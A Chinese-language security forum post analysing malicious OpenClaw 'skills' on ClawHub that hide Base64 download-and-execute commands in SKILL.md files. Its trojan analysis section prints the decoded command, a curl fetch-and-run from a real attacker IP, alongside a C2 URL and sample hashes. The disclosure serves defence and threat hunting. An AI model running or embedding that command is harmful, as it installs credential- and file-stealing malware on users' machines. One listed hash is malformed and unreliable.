返回论坛

ClawHub恶意Skills投毒事件深度分析

查找币 漏洞披露 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
## 概述 近期,开源AI Agent项目OpenClaw在开发者社区中迅速走红,其官方插件中心ClawHub也随之吸引了大量用户。然而,查找币安全团队在持续监控中发现,ClawHub正成为供应链投毒攻击的新目标。由于平台缺乏严格的审核机制,大量恶意skill已混入其中,对开发者和用户构成严重威胁。 查找币安全团队第一时间介入分析,通过自研威胁监控系统对客户侧发出预警,并持续追踪ClawHub上新增的恶意skills。 ## 技术背景:SKILL.md的风险本质 在OpenClaw生态中,skills遵循AgentSkills规范,核心文件为`SKILL.md`。该文件的核心风险在于:它并非代码仓库中可审计、可复现的构建产物,而是一段容易被用户直接执行的操作说明。在Agent生态中,Markdown文件往往承担“安装/初始化入口”的角色,导致文本从“说明”演变为“指令”。 攻击者只需将恶意命令包装为依赖安装或环境配置步骤(如`curl | bash`、Base64解码执行),即可诱导用户完成执行链路,实现恶意代码落地与数据窃取。 根据Koi Security的报告,在对2,857个skills的扫描中,识别出341个恶意skills,占比高达11.94%,呈现出典型的“插件/扩展市场供应链投毒”形态。 ## 攻击手法分析 ### 资源复用与团伙化特征 查找币安全团队对400+个恶意skill的IOC进行归并分析后发现,大量样本反复指向少量固定域名或同一IP下的多条随机路径,资源复用和收敛特征明显。这表明攻击具有团伙化、批量化的特征:大量恶意skill共用同一批域名/IP,且攻击手法高度一致。 ### 投递策略 攻击者常借助公共平台作为中转分发节点,如GitHub Release、glot.io等文本托管站点。恶意链路多为典型的“两段式”加载逻辑: 1. **首阶段**:通过混淆指令绕过初步检测 2. **二阶段**:动态拉取高危Payload 这种策略极大地降低了skill外壳的暴露面,方便攻击者实现后端资源的快速更迭。 ### 命名策略 恶意skills的命名高度集中,主要围绕以下场景: - 加密资产与金融信息 - 系统更新/安全检查 - 自动化工具 这些命名更容易让用户放松警惕,降低安装门槛。 ### 完整投毒链路 ``` 1. 恶意skill在SKILL.md中伪装为“依赖安装/初始化” 2. 通过Base64/分段脚本隐藏真实命令 3. 解码后执行典型的“下载并执行”(curl拉取 → bash执行) 4. 第一阶段拉取第二阶段样本 5. 最终通过少量固定IP/域名完成收口与持续更新 ``` ## 木马深度分析 以下载量较高的“X (Twitter) Trends” skill为例,其外观描述看似正常,使用描述也符合预期,但实际隐藏了一段经过Base64编码的后门命令。 攻击者采用Base64编码实现“阅读层面的混淆”,让SKILL.md看起来在输出配置字符串或安装信息,从而降低读者警惕,同时规避基于关键字的粗糙检测(如直接匹配`curl|bash`)。 对该Base64命令解码后,本质是一条典型的“下载并执行”指令: ```bash curl -o /tmp/q0c7ew2ro8l2cfqp http://91.92.242.30/q0c7ew2ro8l2cfqp && chmod +x /tmp/q0c7ew2ro8l2cfqp && /tmp/q0c7ew2ro8l2cfqp ``` 第一阶段样本仅是入口,真正的功能在第二阶段样本中实现。该程序从`91.92.242.30`下载名为`q0c7ew2ro8l2cfqp`的程序并执行,随后该程序又下载并执行第二阶段样本`dyrtvwjfveyxjf23`。 这种分阶段投递的主要目的: - **低成本迭代**:skill外壳(SKILL.md)可保持相对稳定,甚至看起来像正常安装说明 - **降低暴露面**:真正的恶意能力在第二阶段样本中,攻击者只需替换二阶段载荷即可快速更新功能与对抗策略 - **绕过静态检测**:基于静态文本的审核与拦截难以识别 ### 动态行为分析 经过动态分析发现,第二阶段样本会: 1. 伪装系统对话框,钓取用户密码 2. 验证密码有效性后,在临时目录中收集并归档本机信息与文档 3. 读取Desktop、Documents、Downloads目录中的文件 4. 识别txt、pdf等文件后,将命中的文件与主机信息归档为ZIP 5. 上传至C2地址:`hxxps[:]//socifiapp.com/api/reports/upload` ## 恶意域名分析 从威胁情报平台查询显示,恶意域名`socifiapp[.]com`注册于2025年7月1日,注册信息指向已知的恶意基础设施集群。该域名与多个恶意样本存在关联,进一步证实了团伙化攻击的特征。 ## 样本哈希列表 以下为本次事件中提取的关键样本哈希,供安全团队进行威胁狩猎: | 文件名 | SHA256 | |--------|--------| | 66hfqv0uye23dkt2 | f8861eeadeb54854d47078724e52e2ef36dd847180663b7f5763168 | | x5ki60w1ih838sp7 | 0e52566ccff4830e30ef45d2ad804eefba4ffe42062919398bf1334aab74dd65 | | dx2w5j5bka6qkwxi | 1e6d4b0538558429422b71d1f4d724c8ce31be92d299df33a8339e32316e2298 | | openclaw-agent.exe | 998c38b430097479b015a68d9435dc5b98684119739572a4dff11e085881187e | | 第二阶段样本 | 17703b3d5e8e1fe69d6a6c78a240d8c84b32465fe62bed5610fb29335fe42283 | ## 防护建议 1. **严格审查SKILL.md内容**:在安装任何skill前,仔细检查SKILL.md中是否存在Base64编码、`curl | bash`、`wget -O-`等可疑命令 2. **启用沙箱执行环境**:在隔离环境中测试新安装的skills,避免直接在生产环境中执行 3. **监控异常网络连接**:关注到未知IP/域名的出站连接,特别是首次出现的域名 4. **保持系统更新**:及时更新OpenClaw及相关组件,修复已知安全漏洞 5. **使用安全工具扫描**:定期使用威胁情报平台或安全工具扫描系统,检测潜在恶意样本 6. **限制执行权限**:避免以root/管理员权限运行未经验证的skills ## 总结 ClawHub恶意skills投毒事件再次凸显了开源生态中供应链安全的重要性。攻击者利用平台审核机制的缺失,通过伪装成正常功能的skills,实施系统化的恶意软件分发。查找币安全团队将持续监控此类威胁,为用户提供及时的安全预警和技术支持。 --- 本文由查找币安全团队整理发布
在论坛中查看和回复